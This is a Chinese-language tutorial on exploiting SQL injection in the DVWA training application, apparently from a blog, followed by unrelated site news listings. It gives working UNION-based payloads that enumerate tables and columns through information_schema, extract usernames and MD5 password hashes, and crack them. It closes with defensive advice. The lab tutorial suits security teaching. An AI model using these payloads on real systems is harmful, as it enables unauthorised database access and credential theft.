DVWA 1.10 SQL注入实战:从字符型判断到用户密码获取的7步完整流程
DVWA 1.10 SQL注入实战从字符型判断到用户密码获取的7步完整流程1. 环境准备与基础概念在开始实战之前我们需要先搭建好DVWADamn Vulnerable Web Application环境。DVWA是一个专门用于安全测试的PHP/MySQL Web应用程序它包含了多种安全漏洞的模拟环境其中就包括SQL注入漏洞。SQL注入的基本原理当Web应用程序对用户输入数据的合法性没有进行充分判断或过滤时攻击者可以通过构造特殊的输入改变原有SQL查询语句的逻辑从而执行非授权的数据库操作。这种攻击方式被称为SQL注入SQL Injection。DVWA提供了四种安全级别Low完全无防护用于演示最基本的漏洞利用技术Medium添加了部分防护措施但存在明显缺陷High采用了更严格的防护但仍可能被绕过Impossible实现了完善的防护措施在本教程中我们将专注于Low安全级别的SQL注入实战。2. 判断注入类型首先我们需要确定目标是否存在SQL注入漏洞以及是哪种类型的注入。SQL注入主要分为两种类型数字型注入参数直接作为数字使用不需要引号包围字符型注入参数被单引号或双引号包围判断步骤访问DVWA的SQL Injection页面安全级别设置为Low在输入框中分别尝试以下输入1正常查询1如果报错可能是字符型注入1 and 11如果返回正常结果1 and 12如果返回空结果通过对比这些测试的返回结果我们可以确认这是一个字符型注入漏洞。这是因为输入1导致语法错误因为破坏了引号闭合1 and 11构造了一个永真条件返回了所有结果1 and 12构造了一个永假条件返回了空结果3. 猜解字段数量确定了注入类型后下一步是确定当前查询返回的字段数量。这可以通过ORDER BY子句来实现1 order by 1 # 1 order by 2 # 1 order by 3 ##是MySQL的注释符号用于注释掉查询语句后面的部分。通过逐步增加order by后面的数字当数字超过实际字段数时查询会报错。在本例中order by 1和order by 2都能正常返回order by 3报错这说明查询结果包含2个字段。为了验证这一点我们可以使用联合查询UNION SELECT1 union select 1,2 #如果这个查询成功返回结果并在页面上显示了数字1和2就确认了字段数量为2同时也知道了哪些字段会在页面上显示。4. 获取数据库信息知道了字段数量后我们可以利用MySQL的内置函数获取数据库的基本信息1 union select database(),user() #这条查询会返回database()当前数据库名称如dvwauser()当前数据库用户如rootlocalhost还可以获取更多系统信息1 union select version(),version_compile_os #这会返回version()MySQL版本号version_compile_os操作系统信息这些信息对于后续的攻击步骤非常重要因为不同版本的数据库可能有不同的特性和限制。5. 获取数据库表名MySQL的information_schema数据库包含了所有数据库的元数据信息。我们可以利用它来获取当前数据库中的所有表名1 union select table_name,table_schema from information_schema.tables where table_schemadvwa #如果遇到编码问题如Illegal mix of collations错误可以使用convert()函数1 union select convert(table_name using big5),convert(table_schema using big5) from information_schema.tables where table_schemadvwa #执行后通常会返回类似以下结果guestbookusers这表明dvwa数据库中有两个表其中users表很可能存储了用户凭证信息。6. 获取表字段名确定了目标表users后我们需要知道这个表包含哪些字段。同样使用information_schema1 union select column_name,2 from information_schema.columns where table_nameusers and table_schemadvwa #或者使用十六进制编码绕过引号限制1 union select column_name,2 from information_schema.columns where table_name0x7573657273 and table_schema0x64767761 #0x7573657273是users的十六进制0x64767761是dvwa的十六进制执行后通常会返回users表的所有字段名如user_idfirst_namelast_nameuserpasswordavatarlast_loginfailed_login其中user和password字段就是我们最感兴趣的目标。7. 提取用户凭证数据最后一步是从users表中提取用户名和密码1 union select user,password from users #如果遇到编码问题同样可以使用convert1 union select convert(user using big5),convert(password using big5) from users #执行后会返回所有用户的用户名和密码哈希值。DVWA默认使用MD5加密密码例如admin / 5f4dcc3b5aa765d61d8327deb882cf99可以使用在线MD5解密工具或彩虹表来破解这些哈希值。例如上面的哈希对应明文密码password。防御建议虽然本文重点在于演示攻击技术但了解防御措施同样重要。以下是一些基本的SQL注入防御方法使用参数化查询预编译语句$stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([id $id]);输入验证和过滤对用户输入进行严格的白名单验证使用专门的过滤函数如mysqli_real_escape_string最小权限原则数据库用户只应拥有必要的最小权限避免使用root或高权限账户连接数据库错误处理避免向用户显示详细的数据库错误信息使用自定义的错误页面Web应用防火墙(WAF)部署WAF可以拦截常见的SQL注入攻击模式

相关新闻

OpenCode:专为NAS设计的轻量AI编程工作台

OpenCode:专为NAS设计的轻量AI编程工作台

1. OpenCode 是什么?不是另一个“在线 VS Code”,而是 NAS 上跑得动的 AI 编程工作台 你有没有过这种体验:想在下班路上改一行 Python 脚本,却发现公司内网连不上;想给家里的树莓派 NAS 加个轻量 IDE,结果发…

2026/7/8 3:56:17 阅读更多 →
CCS Theia 安装多版本编译器.LTS

CCS Theia 安装多版本编译器.LTS

1.下载需要安装的编译器2.下载需要的版本:如:ti_cgt_c2000_22.6.3.LTS_windows-x64_installer.exe双击安装3.把需要安装的编译器安装到 CCS 的根目录,如:D:/ti如果有安装好的可以复制:把需要安装的编译器复制到 CCS 的…

2026/7/8 3:53:53 阅读更多 →
量化软件对比别只看排名:普通用户要拆三类工具

量化软件对比别只看排名:普通用户要拆三类工具

量化软件对比里,排名常常不如分类有用。普通用户先看能不能读懂规则、回测、提醒和风控;技术用户再看数据接口、策略函数和日志;接近实盘执行的人还要核对券商权限、委托和成交。牛股王股票这类面向普通投资者的量化辅助软件,适合…

2026/7/8 3:53:53 阅读更多 →

最新新闻

2026环氧彩砂和水泥基填缝剂哪个好?长期使用效果对比

2026环氧彩砂和水泥基填缝剂哪个好?长期使用效果对比

## 一、问题的提出:填缝材料选择的两难瓷砖铺贴完成后,填缝是最后一道工序,也是最容易被忽视的环节。填缝材料的选择不仅影响美观,更关系到后期的清洁维护和使用寿命。市面上主流的填缝材料分为两大类:**水泥基填缝剂*…

2026/7/8 4:54:31 阅读更多 →
OpenClaw Event Bus 架构深度解析:为什么事件溯源是 AI Agent 时代的最佳协作范式?

OpenClaw Event Bus 架构深度解析:为什么事件溯源是 AI Agent 时代的最佳协作范式?

OpenClaw Event Bus 架构深度解析:为什么事件溯源是 AI Agent 时代的最佳协作范式?工程笔记:本文不是 API 教程,是一份"OpenClaw 为什么这么设计"的技术剖析。重点讲清"为什么不是直接用 Redis Pub/Sub / Kafka&qu…

2026/7/8 4:54:31 阅读更多 →
高盛推出“2026年最重要交易“:AI金融应用从“讲故事“进入“算回报“时代

高盛推出“2026年最重要交易“:AI金融应用从“讲故事“进入“算回报“时代

2026年7月2日,全球芯片股暴跌。但同一周,高盛发布了2026年最重磅的一份交易报告。这两件事背后,是同一股力量在重塑全球金融市场。一、一周内的两个信号 7月2日,韩国KOSPI指数单日重挫7.89%,盘中触发熔断。费城半导体指…

2026/7/8 4:52:30 阅读更多 →
微信 API 开发实战:基于 GeWe 构建自动化任务调度系统

微信 API 开发实战:基于 GeWe 构建自动化任务调度系统

在微信自动化开发过程中,很多业务都需要定时执行任务,例如:定时发送消息自动发布朋友圈定时客户跟进群消息提醒多账号统一运营如果依靠人工操作,不仅效率低,也容易出现遗漏。通过 GeWe API 开放平台,开发者…

2026/7/8 4:50:30 阅读更多 →
【回眸】Taste-Skill 新手入门

【回眸】Taste-Skill 新手入门

在开发复杂系统时,我们常常面临一个两难选择:是追求极致的运行效率,还是保持代码的灵活与可维护性?很多时候,为了优化某个环节的性能,我们不得不引入沉重的框架或复杂的配置,导致项目变得臃肿不…

2026/7/8 4:48:29 阅读更多 →
边缘计算工程师:做了四年边缘节点我发现AI要到设备上跑

边缘计算工程师:做了四年边缘节点我发现AI要到设备上跑

我站在机房门口,看着一排边缘节点机箱的指示灯整齐地闪着绿光。它们已经跑了三年, mostly 在跑CDN缓存、日志归集、Web加速。三年前,客户会为"离用户更近"买单;现在,他们问的是"能不能在这些盒子里跑AI…

2026/7/8 4:46:28 阅读更多 →

日新闻

3大核心能力重塑《明日方舟》游戏体验:MAA自动化助手的革命性突破

3大核心能力重塑《明日方舟》游戏体验:MAA自动化助手的革命性突破

3大核心能力重塑《明日方舟》游戏体验:MAA自动化助手的革命性突破 【免费下载链接】MaaAssistantArknights 《明日方舟》小助手,全日常一键长草!| A one-click tool for the daily tasks of Arknights, supporting all clients. 项目地址: …

2026/7/8 0:00:48 阅读更多 →
MyBatis 批量操作深度优化——从 N+1 到批处理的全路径

MyBatis 批量操作深度优化——从 N+1 到批处理的全路径

MyBatis 批量操作深度优化——从 N1 到批处理的全路径 一、从"功能正确"到"性能可接受"——MyBatis 批量操作的三段式进化 MyBatis 在日常增删改查场景中几乎是无感的——实体映射直观、SQL 控制灵活。但当数据量从千级上升到十万级、百万级,许…

2026/7/8 0:00:48 阅读更多 →
工业负载控制方案:TPD2015FN与PIC18F45K22应用解析

工业负载控制方案:TPD2015FN与PIC18F45K22应用解析

1. 工业负载控制方案概述在工业自动化、电机驱动和照明控制等高需求场景中,可靠地控制电感和电阻负载是核心挑战之一。TPD2015FN作为东芝的8通道高端智能功率开关IC,配合PIC18F45K22微控制器,能够构建一套稳定、高效的负载控制系统。这套组合…

2026/7/8 0:02:48 阅读更多 →

周新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/7 14:24:45 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里,参与了关于混合后量子密码学的讨论,应付端点攻击找茬的人,还参与留言板讨论后,发现“威胁模型”对多数人仍是陌生概念,且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/7 12:34:47 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”:我理解的渗透测试到底是什么?每次看到新闻里说某个大公司的数据被“黑”了,或者某个网站被攻击导致服务瘫痪,你是不是和我一样,心里会冒出两个念头:一是“这黑客真厉害”&#x…

2026/7/7 15:59:06 阅读更多 →

月新闻